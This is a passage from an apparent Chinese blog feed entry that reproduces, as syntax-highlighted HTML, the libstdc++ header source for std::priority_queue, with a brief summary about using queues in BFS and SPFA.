_SameTypeConcept)</span><br><span class="line"> __glibcxx_class_requires4(_Compare, <span class="type">bool</span>, _Tp, _Tp,</span><br><span class="line">_BinaryFunctionConcept)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span>:</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::value_type value_type;</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::reference reference;</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::const_reference const_reference;</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::size_type size_type;</span><br><span class="line"> <span class="keyword">typedef</span> _Sequence container_type;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">protected</span>:</span><br><span class="line"> <span class="comment">// See queue::c for notes on these names.</span></span><br><span class="line"> _Sequence c;</span><br><span class="line"> _Compare comp;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span>:</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Default constructor creates no elements.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus < 201103L</span></span><br><span class="line"> <span class="function"><span class="keyword">explicit</span></span></span><br><span class="line"><span class="function"> <span class="title">priority_queue</span><span class="params">(<span class="type">const</span> _Compare& __x = _Compare(),</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="type">const</span> _Sequence& __s = _Sequence())</span></span></span><br><span class="line"><span class="function"> : c(__s), comp(__x)</span></span><br><span class="line"><span class="function"> {</span> std::<span class="built_in">make_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp); }</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line"> <span class="function"><span class="keyword">explicit</span></span></span><br><span class="line"><span class="function"> <span class="title">priority_queue</span><span class="params">(<span class="type">const</span> _Compare& __x,</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="type">const</span> _Sequence& __s)</span></span></span><br><span class="line"><span class="function"> : c(__s), comp(__x)</span></span><br><span class="line"><span class="function"> {</span> std::<span class="built_in">make_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp); }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">explicit</span></span></span><br><span class="line"><span class="function"> <span class="title">priority_queue</span><span class="params">(<span class="type">const</span> _Compare& __x = _Compare(),</span></span></span><br><span class="line"><span class="params"><span class="function"> _Sequence&& __s = _Sequence())</span></span></span><br><span class="line"><span class="function"> : c(std::move(__s)), comp(__x)</span></span><br><span class="line"><span class="function"> {</span> std::<span class="built_in">make_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp); }</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Builds a %queue from a range.</span></span><br><span class="line"><span class="comment"> * @param __first An input iterator.</span></span><br><span class="line"><span class="comment"> * @param __last An input iterator.</span></span><br><span class="line"><span class="comment"> * @param __x A comparison functor describing a strict weak ordering.</span></span><br><span class="line"><span class="comment"> * @param __s An initial sequence with which to start.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Begins by copying @a __s, inserting a copy of the elements</span></span><br><span class="line"><span class="comment"> * from @a [first,last) into the copy of @a __s, then ordering</span></span><br><span class="line"><span class="comment"> * the copy according to @a __x.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * For more information on function objects, see the</span></span><br><span class="line"><span class="comment"> * documentation on @link functors functor base</span></span><br><span class="line"><span class="comment"> * classes@endlink.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus < 201103L</span></span><br><span class="line"> <span class="function"><span class="keyword">template</span><<span class="keyword">typename</span> _InputIterator></span></span><br><span class="line"><span class="function"> <span class="title">priority_queue</span><span class="params">(_InputIterator __first, _InputIterator __last,</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="type">const</span> _Compare& __x = _Compare(),</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="type">const</span> _Sequence& __s = _Sequence())</span></span></span><br><span class="line"><span class="function">: c(__s), comp(__x)</span></span><br><span class="line"><span class="function"> {</span></span><br><span class="line"> __glibcxx_requires_valid_range(__first, __last);</span><br><span class="line"> c.<span class="built_in">insert</span>(c.<span class="built_in">end</span>(), __first, __last);</span><br><span class="line"> std::<span class="built_in">make_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp);</span><br><span class="line">}</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line"> <span class="function"><span class="keyword">template</span><<span class="keyword">typename</span> _InputIterator></span></span><br><span class="line"><span class="function"> <span class="title">priority_queue</span><span class="params">(_InputIterator __first, _InputIterator __last,</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="type">const</span> _Compare& __x,</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="type">const</span> _Sequence& __s)</span></span></span><br><span class="line"><span class="function">: c(__s), comp(__x)</span></span><br><span class="line"><span class="function"> {</span></span><br><span class="line"> __glibcxx_requires_valid_range(__first, __last);</span><br><span class="line"> c.<span class="built_in">insert</span>(c.<span class="built_in">end</span>(), __first, __last);</span><br><span class="line"> std::<span class="built_in">make_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">template</span><<span class="keyword">typename</span> _InputIterator></span></span><br><span class="line"><span class="function"> <span class="title">priority_queue</span><span class="params">(_InputIterator __first, _InputIterator __last,</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="type">const</span> _Compare& __x = _Compare(),</span></span></span><br><span class="line"><span class="params"><span class="function"> _Sequence&& __s = _Sequence())</span></span></span><br><span class="line"><span class="function">: c(std::move(__s)), comp(__x)</span></span><br><span class="line"><span class="function"> {</span></span><br><span class="line"> __glibcxx_requires_valid_range(__first, __last);</span><br><span class="line"> c.<span class="built_in">insert</span>(c.<span class="built_in">end</span>(), __first, __last);</span><br><span class="line"> std::<span class="built_in">make_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp);</span><br><span class="line">}</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Returns true if the %queue is empty.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="type">bool</span></span></span><br><span class="line"><span class="function"> <span class="title">empty</span><span class="params">()</span> <span class="type">const</span></span></span><br><span class="line"><span class="function"> </span>{ <span class="keyword">return</span> c.<span class="built_in">empty</span>(); }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** Returns the number of elements in the %queue. */</span></span><br><span class="line"> <span class="function">size_type</span></span><br><span class="line"><span class="function"> <span class="title">size</span><span class="params">()</span> <span class="type">const</span></span></span><br><span class="line"><span class="function"> </span>{ <span class="keyword">return</span> c.<span class="built_in">size</span>(); }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Returns a read-only (constant) reference to the data at the first</span></span><br><span class="line"><span class="comment"> * element of the %queue.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function">const_reference</span></span><br><span class="line"><span class="function"> <span class="title">top</span><span class="params">()</span> <span class="type">const</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">__glibcxx_requires_nonempty();</span><br><span class="line"><span class="keyword">return</span> c.<span class="built_in">front</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Add data to the %queue.</span></span><br><span class="line"><span class="comment"> * @param __x Data to be added.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is a typical %queue operation.</span></span><br><span class="line"><span class="comment"> * The time complexity of the operation depends on the underlying</span></span><br><span class="line"><span class="comment"> * sequence.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">push</span><span class="params">(<span class="type">const</span> value_type& __x)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">c.<span class="built_in">push_back</span>(__x);</span><br><span class="line">std::<span class="built_in">push_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus >= 201103L</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">push</span><span class="params">(value_type&& __x)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">c.<span class="built_in">push_back</span>(std::<span class="built_in">move</span>(__x));</span><br><span class="line">std::<span class="built_in">push_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">template</span><<span class="keyword">typename</span>... _Args></span></span><br><span class="line"><span class="function"> <span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">emplace</span><span class="params">(_Args&&... __args)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> c.<span class="built_in">emplace_back</span>(std::forward<_Args>(__args)...);</span><br><span class="line"> std::<span class="built_in">push_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp);</span><br><span class="line">}</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Removes first element.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is a typical %queue operation. It shrinks the %queue</span></span><br><span class="line"><span class="comment"> * by one. The time complexity of the operation depends on the</span></span><br><span class="line"><span class="comment"> * underlying sequence.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Note that no data is returned, and if the first element's</span></span><br><span class="line"><span class="comment"> * data is needed, it should be retrieved before pop() is</span></span><br><span class="line"><span class="comment"> * called.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">pop</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">__glibcxx_requires_nonempty();</span><br><span class="line">std::<span class="built_in">pop_heap</span>(c.<span class="built_in">begin</span>(), c.<span class="built_in">end</span>(), comp);</span><br><span class="line">c.<span class="built_in">pop_back</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus >= 201103L</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">swap</span><span class="params">(priority_queue& __pq)</span></span></span><br><span class="line"><span class="function"> <span class="title">noexcept</span><span class="params">(<span class="keyword">noexcept</span>(swap(c, __pq.c)) && <span class="keyword">noexcept</span>(swap(comp, __pq.comp)))</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"><span class="keyword">using</span> std::swap;</span><br><span class="line"><span class="built_in">swap</span>(c, __pq.c);</span><br><span class="line"><span class="built_in">swap</span>(comp, __pq.comp);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="comment">// No equality/comparison operators are provided for priority_queue.</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus >= 201103L</span></span><br><span class="line"> <span class="function"><span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Sequence, <span class="keyword">typename</span> _Compare></span></span><br><span class="line"><span class="function"> <span class="keyword">inline</span> <span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">swap</span><span class="params">(priority_queue<_Tp, _Sequence, _Compare>& __x,</span></span></span><br><span class="line"><span class="params"><span class="function"> priority_queue<_Tp, _Sequence, _Compare>& __y)</span></span></span><br><span class="line"><span class="function"> <span class="title">noexcept</span><span class="params">(<span class="keyword">noexcept</span>(__x.swap(__y)))</span></span></span><br><span class="line"><span class="function"> </span>{ __x.<span class="built_in">swap</span>(__y); }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Sequence, <span class="keyword">typename</span> _Compare,</span><br><span class="line"> <span class="keyword">typename</span> _Alloc></span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">uses_allocator</span><priority_queue<_Tp, _Sequence, _Compare>, _Alloc></span><br><span class="line"> : <span class="keyword">public</span> uses_allocator<_Sequence, _Alloc>::type { };</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">_GLIBCXX_END_NAMESPACE_VERSION</span><br><span class="line">} <span class="comment">// namespace</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> <span class="comment">/* _STL_QUEUE_H */</span></span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><table><tr><td bgcolor="CornflowerBlue">队列,以前只是用在BFS里,再者就是SPFA的队列优化了,不过之前用的都是stl打法,嘻嘻~ </td></tr></table></summary>
</entry>
</feed>